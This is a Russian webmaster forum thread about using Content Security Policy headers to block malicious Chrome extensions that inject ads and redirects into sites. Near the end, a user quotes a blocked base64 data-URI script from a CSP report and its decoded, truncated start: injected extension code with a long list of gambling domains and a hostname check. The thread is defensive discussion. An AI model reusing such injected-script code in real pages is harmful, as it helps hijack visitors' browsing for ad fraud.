Настройка CSP - Content Security Policy

Вы - не один.

1. В обращении ещё есть браузеры, которые не поддерживают CSP или поддерживают не полностью. Тот же IE 7/8/9

2. В браузерах Google Chrome плагины имеет доступ и может изменять заголовки CSP. "Гуглекодеры" считают это фичей, а не багом, и исправлять не собираются.

Вредоносных плагинов, которые вставляют "нужные" себе домены в заголовки CSP, выловлено около десятка. Первого обнаружил Яндекс летом 2014 году:

Ladycharm, а как то вообще возможно с этим бороться? Хотя бы теоретически.

1. CSP не стоит на месте, в последней ревизии от 19 February 2015 добавились директивы:

2. Устанавливая CSP вы вышибаете экономические перспективы из под ног разработчиков вредоносных плагинов.

Без CSP они монетизируют 10-20% вашего трафика, с CSP - 1-2%. Этого им не хватит на оплату доменов и хостингов (а 90% их хостится в не дешёвых "облаках") и труда программистов.

А если убедить разработчиков Google Chrome запретить возможность вмешиваться в заголовки (хотя бы тем плагинам, которых нет в Google Store)...

Ladycharm,

А можно по подробнее про эти директивы?

P.S. На русском:)

---------- Добавлено 16.03.2015 в 02:02 ----------

Ladycharm,

А можно по подробнее про эти директивы?

P.S. На русском:)

Да, их ещё браузеры не поддерживают. Но ещё недавно там по ссылке открывалась CSP 1.0(это та, которая работает у нас сейчас), а эта - уже CSP level 2. Значит, в w3c - шевелятся, поняли, что подмена контента приобрела массовый характер.

Было ~30 левых переходов. Настроил csp - сократилось до ~10, но вскоре опять этот шлак полез, 30-40 переходов в день. Гляньте пожалуйста, все ли нормально в моей версии? стоит в header.php вордпресс шаблона в одну строку, ниже разбил по строкам для удобства.

Вы не указали какие сторонние сервисы установлены на сайте. После проведённого реверс-инженеринга ясно, что на сайте установлены Google Alsense, видео Youtube, счётчик liveinternet и Sape.

Ничего лишнего у вас не открыто, даже наоборот:

- в директиву img-src добавьте *.2mdn.net https://*.2mdn.net для Адсенса.

- и Ютуб у вас открыт не полностью (если он используется).

Да, используется минимум: Adsense, Youtube, liveinternet, Sape. В отчете куча неизвестных мне доменов, значит работает. Если все закрыто, интересно как при 3к трафика проскакивает 30 переходов в день на эту заразу?

На этой же странице выше есть объяснение.

Заражённых браузеров сейчас от 10 до 20%(зависит от региона и тематики сайта). 30 переходов с 3000 посетителей - это 1%, что очень даже неплохо для CSP.

Подскажите, наблюдаю в отчете:

"blocked-uri":"data:text/javascript;base64

KGZ1bmN0aW9uKHdpbmRvdykgew0KICAgIHZhciBkb21haW5fbGlzdCA9ICcsMS5hemFydG55ZS1pZ3J5LXBva2VyLnJ1LDEwMGNhc2luby5uZXQsMTAxb25saW5lY2FzaW5vLmNvbSwxMC1iZXN0LW9ubGluZS1jYXNpbm9zLmV1LDEwYmV0LmNvbSwxMG9ubGluZWNhc2lub3MuY28udWssMTB0b3AtY2FzaW5vLnJ1LDEyOGNhc2luby5jb20sMW9uMWNhc2luby5jb20sMXN0Y2FzaW5vLnJ1LDF4MmJldC5ydSwxeGJldC5jb20sMjFub3ZhLmNvbSwyMW5vdmFjYXNpbm8uY29tLDI0aGJldC5ydSwyNGhiZXR0aW5nLnJ1LDI0aGNhc2lub3MubmV0LDI0b3Blbi5jb20udWEsMjRwbGF5Y2FzaW5vLmNvbSwzMnJlZC5jb20sMzNzbG90cy5jb20sM2Nhc2lub3MucnUsM3N0YXZraS5ydSwzdHV6YS5jb20sNTU1c2xvdC5pbi51YSw1YmV0LnJ1LDYyby5ydSw3NzctZnJlZXNsb3RzLmNvbS

"violated-directive":"script-src...

после расшифровки становится:

(function(window) {

    var domain_list = ',1.azartnye-igry-poker.ru,100casino.net,101onlinecasino.com,10-best-online-casinos.eu,10bet.com,10onlinecasinos.co.uk,azart-cash.ru,azartcasino.net,azartclub.net,azartfree.ru,azartgame.ucoz.com,azartgame777.com,azart-life.com,azartmania.net,azart-online.net,azartplace.com/,azartplay.com,azart-play.info,azartplay.org,azartplaybet.com,azartplaycasino.com,azartreview.ru,azartx.com,azartzona.com,beatcasino.ru,beginbetting.ru,beginwithzero.ru,bellagio.com,besplatnie-igrovie-avtomati.ru,besplatno-igrovie-avtomati.com,besplatnye-igrovie-avtomaty.com,bestcasino.ru,best-casino.ru,bestforplay.com,bestforplay.net,bestonlinecasinos101.com,best-slot.ru,bestukcasinos.co.uk,bestvulkan.com,bet.by,bet365.com,bet4up.ru,bet-attack.com,betbook.ru,betboss.ru,betcityru.com,betfair.com,betfans.ru,betfaq.ru,bet-fon.com,bet-gid.ru,betman-casino.com,bet-prognoz.ru,bet-ring.ru,betrus.ru,betshark.ru,betsite.ru,betspace.com,betsstory.ru,bets-win.com,betsystem.info,betteam.com.ua,betteam.ru,betting24.ru,bettingsportsoffshore.com,bettingzone.ru,bettip.ru,bettop.net,bettop.ru,privateinv.com,probukmeker.ru,profit-casino.com,promo.azartplay.com,propokerpro.ru,rakegenerator.ru,rb.bigpot.ru,real-casinos.com,realmoneypoker.ru,rebonus.com,redflushcasino.co.uk,redflushcasino.com,redkings.com,redstarcasino.ru,regpassion.com,rezidentslots.com,richreels.com,rider.org.ua,ringobet.kg,riverbellecasino.com,riverrock.com,rouletterus.ru,roxypalace.com,royalvegascasino.com,ru.100casino.net,ru.10bet.com,ru.777-online-gambling.net,ru.888.com,ru.888casino.com,ru.bookiesrating.com,ru.crazyvegas.com,ru.leonbets.com,ru.partycasino.com,ru.playmillion.com,ru.pokerstrategy.com,ru.quatro-casino.eu,ru.realmoneypokertips.com,ru.redflushcasino.eu,ru.sportaq.com,ru.sportingbet.com,ru.surebet.com,ru.unibet.com,ru.williamhillcasino.com,ru3spinpalace.com,ruaff.com,rubet.com,rubet.ru,rubyfortune.com,ru-casino.info,rucasinobellini.com,rudbet.ru,rukazino.ru,ruletkanadengi.ru,rulettka.com,rushplay.net,rush-play.ru,rushplay-club.net,russian.delrio-casino.com,russian.eucasino.com,russian.goldantiguacasino.com,russian.onlinecasinosru.com,russiancasino.com,russia-tropez.com,russocasino.net,ru-titancasino.com,ruvegas.net,ruwinners.com,ryblik.info,safebetsport.com,safe-online-casino.co.uk,samecost.com,scan-sport.com,script-casino.com,sdelajstavku.ru,sectorbet.com,selenacasino.com,semerky.com,settips.com,sexy-gambling.net,shansbet.com,sincitycasino.com,sixslots.pp.ua,s-kazino.com,skycityauckland.co.nz,skykingscasino.com,skyvegas.com,slotaboom.com,slotastic.com,slotautomat.info,slot-avtomati-besplatno.com,slot-avtomaty.ucoz.ru,slot-casino.org,slotcasino.su,slotclub-casino.com,slotforplay.com,slotgid.ru,slotico.com,slotigra.ru,slotinator.com,slotionline.ru,slotobzor.ru,slotocash.im,slotoclub.com,slotodrom.com,slotoking.com,slotomania-igrovye-avtomaty.com,slotomaniya.com,slotomaniya.ru,slotosfera.com,slotozal.com,slots24.ru,slotsbox.com,slotsdoc.ru,slotsfart.com,slotsobzor.com,slotsok.com,slotspapa.com,slotsrussia.com,slotusclub.com,slotx.net,slotzal777.com,smartgambling.ru,sparesortcasino.com,sport.bets.by,sport222.com,sportbar.kz,sportbet.3dn.ru,sportbet.ucoz.ru,sportbettor.ru,sportbk.ru,sport-bukmeker.ru,sportingbet.com,sports.bwin.com,sports.ladbrokes.com,sports.williamhill.com,sport-stafki.ru,sportstavka.com,sportstrader.biz,sportum.com.ua,sport-wins.com,springbokcasino.co.za,sslot.ru,staffroom.ru,startwm.net,statuskvo.by,stavka.v-teme.com,stavki.betbureau.com,stavki.co,stavki.com,stavki.hut2.ru,stavki.ucoz.com,stavki666.ru,stavki99.ru,stavkibet.ucoz.net,stavki-na-sport.info,stavkinasport.su,stavkisport.com,stavkisport.ru,stavkisports.ru,stavki-sports.ru,stavochka.com,stonre.ru,strategya.com,strikeitluckycasino.com,suleyman-betting.ru,super-capper.ru,super-match.ru,tatcasino.ru,thebigfreechiplist.com,thecasinolsq.com,theonlinecasinowebsites.com,tiltplanet.ru,titancasino.com,top-777.com,topbukmeker.ru,topbukmekerov.ru,topcasino.com,topcasinos.com,topinternetkazino.com,top-score.ru,topslotscasinos.co.uk,topsportbet.ru,totali3atop.ru,totalpari.com,trustedukonlinecasinos.co.uk,turkslots.com,tuzplay.com,twistcasino.com,ua.100casino.net,ua.onlinecasinoadvice.com,ua.sportaq.com,uakap.com,uk.playmillion.com,ukcasino-club.co.uk,ukraine-online-casino.com,unibet.co.uk,unibet.dk,unionbet.com,unionbet.ru,upslotscasino.com,usabestonlinecasinos.com,usalegalcasinos.com,usaslotsonlinecasinos.com,usatopcasino.com,usavipcasinos.com,uznav.at.ua,va-bank.com,va-bank.kz,va-bank-casino.com,vabank-casino.ru,vawego.ru,vegas.williamhill.com,vegascasinoonline.eu,verajohn.com,videocasinoslot.com,videoslotsonline.ru,vipstavki.com,virtualcitycasino.eu,vkasino.com,volcanoclubs.com,vpliuse.ru,vprognoze.net,vprognoze.ru,vseostavkax.ucoz.ru,vseprokazino.pp.ua,vsepropoker.ru,vseprosport.ru,vseprostavki.ru,vulcan-casino.com,vulcan-igrovoy-zal.org,vulcan-slots.com,vulkanbest.com,vulkanclub.com,vulkanigrovieavtomati.com,vulkan-igrovie-avtomaty.com,vvulcan.com,vvulkan.com,webazart.ru,webmoneycasino.com,webmoney-casino.net,webmoney-casino.ru,webrabota-info.ru,whichonlinecasinos.co.uk,williamhill.com,williamhillcasino.com,winatcasino.at.ua,winbetting.ru,windowscasino.com,winlinebet.com,winner.com,winstarworldcasino.com,winthewinner.com,wm-bingo.com,wm-bingo.io.ua,wm-bonus.ru,wmc-online.net,wmgame.info,wmruletka.com,wmzarabotak.ucoz.com,wmz-casino.com,worldbetsport.ru,wulcan-club.com,www.best-bookers.com,www.bestcasinoslot.ru,www.bestslots.ru,www.betcity.info,www.betonsuccess.ru,www.bingo-boom.ru,www.bkontory.com,www.casinomamba.com,www.casinoobzor.com,www.casino-platinum.net,www.casinorussia.com,www.casino-russian.ru,www.casino-tur.ru,www.club-volcano.com,www.gamble2fun.com,www.gambling-roulette.info,www.kappara.ru,www.katalogbukmekerov.com,www.ligastavok.com,www.marathonbet.com,www.marathonbet.com/ru/,www.msl.ua,www.olimp.kz,www.onlajnkazinonadengi.com,www.onlaynkazinonadengi.com,www.onlinecas.ru,www.onlinepokerinfo.ru,www.profitbet.kz,www.prognozist.ru,www.ruscasino.info,www.slotika.ru,www.slotvoyager.com,www.stavki.info,www.top10casino.ru,www.topbet.org,www.top-world-casino.com,www.video-sloti.com,www2.williamhill.com,xslot.ru,xxxslot.net,yukongoldcasino.eu,yuon-bets.ru,zenitbet.com,zodiaccasino.com,xn----7sbahcfpv7atfxtd9kg.xn--p1ai,xn----9sbmaarlbbdoumbwiize1p.su,xn--90aiaaojbbcnslbvhixe2o.xn--p1ai,xn--90aiasbk5as2f.xn--p1ai,xn--777-5cdakbft1a3ctew9ad9li.xn--p1ai,xn--80aacqiglnpegfj1as.xn--p1ai,xn--80aaifmgl1achx.xn--p1ai,xn--24-dlct8aya8db.xn--p1ai,xn--80afeeh9abdbchm0o.xn--p1ai,xn--80aeshrfifdjb.xn--p1ai,xn--80aesqvg.xn--p1ai,xn--90aiht2a1e.xn--p1ai,';



    if (domain_list.indexOf(',' + window.location.hostname + ',') != -1) {

        var check_id = 'OadUddn_e4';

..........................

Получается, что браузер пользователя, который зашел на сайт, заражен этой заразой? Просто что-то много с разных IP этого "добра" блокируется в последнее время.